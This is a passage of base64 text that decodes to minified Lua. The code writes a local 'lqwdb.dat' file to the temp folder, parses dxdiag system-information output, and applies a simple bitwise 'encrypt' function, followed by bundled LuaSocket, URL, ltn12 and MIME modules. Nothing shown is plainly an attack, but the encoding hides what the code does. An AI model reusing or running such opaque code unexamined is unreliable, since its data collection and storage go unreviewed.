aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
